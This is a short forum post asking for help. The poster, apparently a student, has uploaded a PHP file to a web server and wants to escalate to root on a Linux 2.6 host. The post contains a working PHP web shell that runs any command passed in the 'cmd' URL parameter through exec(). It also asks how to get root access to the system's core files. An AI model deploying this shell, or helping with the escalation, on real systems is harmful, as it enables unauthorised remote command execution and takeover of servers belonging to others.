Hi,
Currently as a part of an assignment I need to implement a reverse shell on a linux system. The system details are -
Quote:
Linux Kernal Version - 2.6
Database - MySQL
|
Using web-server I could upload a php file which could execute the command on behalf of me. Now, I want to get root access so that I can get access to system's core files.
My sample php file -
PHP Code:
<?php
if((!empty($_GET['cmd']) && isSet($_GET['cmd'])))
{
echo exec('whoami').'@'.exec('hostname').':'.exec('pwd').'$'.' '.$_GET['cmd'];
echo '<p></p>';
echo exec($_GET['cmd']);
}
?>
Thanks,
Rahil